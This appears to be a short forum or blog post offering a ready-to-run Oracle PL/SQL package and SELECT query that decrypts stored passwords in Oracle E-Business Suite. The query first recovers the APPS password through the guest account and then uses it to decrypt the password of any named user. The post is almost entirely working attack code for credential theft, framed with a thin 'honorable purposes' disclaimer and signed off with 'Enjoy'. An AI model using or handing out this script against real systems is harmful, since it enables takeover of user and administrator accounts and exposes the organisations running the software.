How To Get The Password For Any Oracle Apps User?
Salam Alikom,
Today I put your hands in a very serious Script, this script makes you able to get password of any user on Oracle applications, it is important not use this script, except for honorable purposes
1- Create this package first:

1- Create this package first:
CREATE OR REPLACE PACKAGE XX_get_pwd AS FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2) RETURN VARCHAR2; END XX_get_pwd; / --Package Body CREATE OR REPLACE PACKAGE BODY XX_get_pwd AS FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String'; END XX_get_pwd; /2- Execute this Select to get the password:
SELECT usr.user_name, xx_get_pwd.decrypt ((SELECT (SELECT xx_get_pwd.decrypt (fnd_web_sec.get_guest_username_pwd, usertable.encrypted_foundation_password ) FROM DUAL) AS apps_password FROM fnd_user usertable WHERE usertable.user_name = (SELECT SUBSTR (fnd_web_sec.get_guest_username_pwd, 1, INSTR (fnd_web_sec.get_guest_username_pwd, '/' ) - 1 ) FROM DUAL)), usr.encrypted_user_password ) PASSWORD FROM fnd_user usr WHERE usr.user_name = '&USER_NAME';Enjoy
